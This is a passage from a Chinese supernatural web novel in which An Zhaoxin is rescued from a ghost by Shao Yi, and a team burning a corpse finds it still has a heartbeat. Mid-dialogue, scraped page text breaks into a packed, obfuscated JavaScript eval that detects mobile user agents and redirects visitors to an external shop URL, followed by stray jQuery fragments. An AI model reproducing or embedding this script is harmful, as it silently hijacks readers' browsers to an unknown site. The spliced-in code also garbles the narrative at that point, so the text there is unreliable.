想到这儿,安照新刚刚的郁闷散去很多,整个人都轻盈起来。
虽然不知道那东西是什么,但她这条命本来就是捡来的,哪怕告诉她寿命只剩下几天,她也会好好活,也会为了能继续活而努力!
火焰中的鬼怪声已经全部消失,火势也逐渐变小,与黑暗一同覆来的还有围在周围、蠢蠢欲动的浓雾。
雾中有窸窸窣窣的声响传来,安照新警惕地看向身后,屁股不动声色地往前挪了挪。
邵异怎么还不来?也该来了吧?
正想着,她移动的脚怼上了一个不明物体。
软乎乎,肉腻腻。
无声无息,却腥臭难闻。
什么时候来的她都毫无所知。
……我说……
安照新颤抖着无奈,没完没了的是不?什么时候是个头啊!她还有啥武器吗?!
安照新不敢动弹,头使劲往后扭着,尽量不向前看,心中一边分析能靠近火焰的鬼怪等级,一边狂喊系统。
但系统那不是玩意的东西,又像一只鹌鹑一样不知道藏到哪里去了。
在她身体宕机,脑中乱叫之时,只听扑通一声,是巨大身型倒地的声音。
安照新赶忙看去,便见一纤细修长的身影,拖着一坨长得奇怪形状的鬼怪,走到火焰旁一甩,那看起来三四百斤的东西,便被随意扔到了火中。
本来变小的火势,像加入汽油一样猛然窜高,将鬼怪瞬间包裹其中。
火焰再度肆意,被炙热红火笼罩的高挑身影,转身看向了她。
就算背光而立,安照新依然看清了那人阴沉的脸色,和紧锁的眉宇。
她下意识绷紧了呼吸,往下趴了寸许,双手紧紧抓着地上的杂叶,睁大了眼盯着,生怕是自己的幻觉。
邵异朝她走近,眉目渐渐清晰,不知道怎么回事,安照新总觉得那张脸更白了些,就算染上火光,也盖不住他身上透出的寒气。
他的目光将她从上到下扫了一遍,眉头随即蹙得更深,微微启唇,却什么也没说。
安照新心里一万个想要抱上去,但想到自己一身的血,撇了撇嘴,忍住了。泪却开始噼里啪啦往下掉:“……你去哪了?吓死我了……”
邵异食指微微伸展,看起来像是颤了一下,却未做多余动作:“站得起来么?”
安照新点了点头,刚准备撑起身子起身,眼前便递过来了一只手。
那手干净修长,指甲光滑透亮,长指微微曲着,看起来有些僵硬且不情愿。
但不耽误安照新感到受宠若惊。
她的泪流得更凶了,抬起自己沾满血污、又黏又脏的双手,抽抽搭搭地说:“可……可是我的手太脏了,会弄脏你的……呜呜呜……”
邵异眸光好似闪了闪,错开她泪汪汪的双眼,直接屈身抓住她的手,稍一用力,将人拽了起来。
却没有松开。
那手温度冰凉,但异常有力,安照新惊讶过后,是铺天盖地的委屈袭来,刚刚濒死的绝望和剧痛再度折返,压下去的情绪终于找到突破口,再也无法抑制地蜂涌而出,堵都堵不住。
她直接哭出了声。
“呜哇哇哇……我……我……我真的好害怕……刚刚……刚刚……”
安照新话都说不利索,微仰着脸,咧着嘴,毫无形象可言,如泉涌的泪水冲刷着本来就沾满血污的脸,头发乱糟糟的系在脑后,活像个在泥水里滚了一圈的小野猫。
邵异少得可怜的怜惜和一直萦绕在心的自责,混作一团全被激了出来,浮到表面时,便化成了一种难以言喻的焦躁情绪。
他手足无措,局促不安,像被架在火上烤,以往的记忆毫无用处,可供大脑提取的经验为零,几番纠结,他终于举起已经僵直的手,在女孩肩膀上干巴巴地拍了一下,说:“……别哭了。”
女孩真的收住了哭声,抽泣着回:“……对……对不起……谢……谢你来救我……”
女孩说谢的次数并不少,道歉的次数更是数不胜数,以前他从不在意,但这次听了却闷在心里不上不下,难受得很。
“不谢。”他说,“遇到了什么危险?”
声音紧绷绷,细听能听出少了很多淡然。
安照新将刚刚遇到怪树的事讲了一遍,当然没说她差点死去。
邵异盯着她的脸沉默须臾,又问:“确定没有其他事了?”
安照新愣了,她抬眼看向邵异,往常冷漠寡淡的眸色此时被焦躁覆盖,她与他只对视了片刻,便诚实地点了头:“有。”
“什么?”
安照新想到那个画面,止住的泪又开始流:“……我可以不说吗?我害怕……现在……不想说。”
边说边试图擦泪,结果脸越来越脏,连鼻涕也来凑热闹。
“有纸吗?”安照新开始求助。
邵异还没消化完她的话,便听到女孩嗡里嗡气的声音接着传来:“鼻涕都快流嘴里了……”
邵异:……
他当然没拿纸,便随手在衣服下摆撕了一块布递给她。
没想到女孩一脸惊讶地接过,带着哭腔的声音顿时充满钦佩:“你力气好大!直接就给撕下来了?你也太厉害了吧!”
泪都忘掉了。
夸完就毫无形象地撮了下鼻涕,又开始哭:“对不起……我好像弄坏了你两件衣服……你的t恤因为我坏了,外套被我弄脏了,呜呜呜……还有鞋……”
邵异:……
“……不用在意。”邵异将话题拉回正轨,“我们先离开这。”
*
纪咏抽烟时,路仁和其他队员也都过来要了一根。
头顶的月色一派澄澈,空气湿润清透,全无刚刚的血腥腐臭,几个人围成一圈吞云吐雾,香烟明灭间,刚刚紧绷的心绪慢慢消散,人也放松下来。
路仁抽进去的烟从鼻孔冒了出来,一脸八卦:“你说今晚出现的那个小姑娘是谁啊?我怎么感觉邵先生对她不一般?”
纪咏将烟灰弹到他收拾出来的小片空地上,说:“不认识,不知道。”
“我也注意到了!邵先生从山里出来的时候都没穿鞋!鞋在那姑娘脚上呢!”另一个队员也两眼放光。
“如果我没看错,那姑娘穿的外套好像也是……”
纪咏不耐烦了:“刚刚人在的时候,你们怎么不亲口问他?”
“你看你,急什么?还不能说说了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609385|205876||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”路仁没有生气,反而一脸猥琐,“我看这次老怪像是要开花了,诶,你比较了解他,你说他活了这么久了,有过女人吗?不会还是个雏吧?”
周围人都笑了起来。
纪咏直接把没吸完的烟头扔到了他的脸上:“别跟我在这放屁,赶紧去干活!”
支走其他人后,纪咏又猛吸了两口,才跟着一块去收拾李少千的尸体。
烧这种诡异的尸身,不能用普通的办法,需要一套完整的焚尸流程。
他先让人清理出一片空地,然后在空地上贴满符纸,把李少千放在上面后,取出一把桃木剑刺入尸身的心口,这样就有预防尸变的功效。
谁曾想,这一步竟然出了意外,桃木剑怎么也刺不进去。
路仁使出全力再次失败后,脸色都变了:“老纪,要不你来试试?我大概是因为受了伤有点虚,刺不进去啊。”
纪咏正用鸡血在周边画阵,不管是画符还是布阵,都需要一气呵成,不可中断,一旦中断,那之前画的咒法就会全部失效。
路仁踌躇片刻,又叫了其他人一起试,无一例外,全都失败了。
路仁有点傻眼,也开始慌张,他从来没有见过这样的情形,桃木剑看似不太锋利,却是公认的鬼怪杀器,斩断七级鬼怪的脖子都手拿把掐,如今这具尸体看起来还算正常,可偏偏连一层皮都刺不破。
他带上塑胶手套,摸了摸李少千的胸口,那里没有皮肤,胸骨上只包裹了一层暗红肌理,因为失去水分摸起来干燥发硬,很是粗糙。
他的手指在尸体胸口慢慢摁着,终于找到一处还算柔软的地方,刚准备吩咐手下的人在这里动手,忽然感到一阵有规律的跳动,从内向外,敲在了他的手上。
咚咚,咚咚
好似一盆冷水泼了过来,只一瞬间,路仁就从头凉到了脚。
心跳,他竟然摸到了心跳!
他僵着脖子看向纪咏,喊了一声:“老纪……”
纪咏看过来后,他刚要说话,周遭突然暗了下来。
头顶清透的夜空,远处烧着的火光全部在这一瞬间全然湮灭。
人的眼睛很奇妙,哪怕无星无月的深夜,只要适应以后,也能将捕捉到那点光亮放大铺匀。而现在,眼睛完全没了用处不说,就算带上了专用的夜视眼镜,竟然什么东西也看不到。
路仁任务做过无数,遇到这点状况不至于会惊慌失措,但还是不自觉地乱了呼吸。
他摸索着起身,试图联系纪咏,试了几次后他发现一个令人绝望的事实,不只是光,他好像连声音都听不见了!
打开的手电筒毫无作用,他朝着记忆中纪咏的方向走了几步,脚下突然拌了什么,一个踉跄突然摔倒在地。
他下意识双手扶地,但地面也滑得要命,竟连撑也撑不住,只能任由自己整个身子都摔向地面。
伤口的痛楚袭来,在他准备起身时,脸上的触觉让他浑身冒起了冷汗。
干燥,发硬,非常粗糙……
这他刚刚触摸李少千的感觉!
他走错方向了??
意识到后,他连忙起身,刚抬起几寸,脸上倏然盖上了什么东西。
是只手。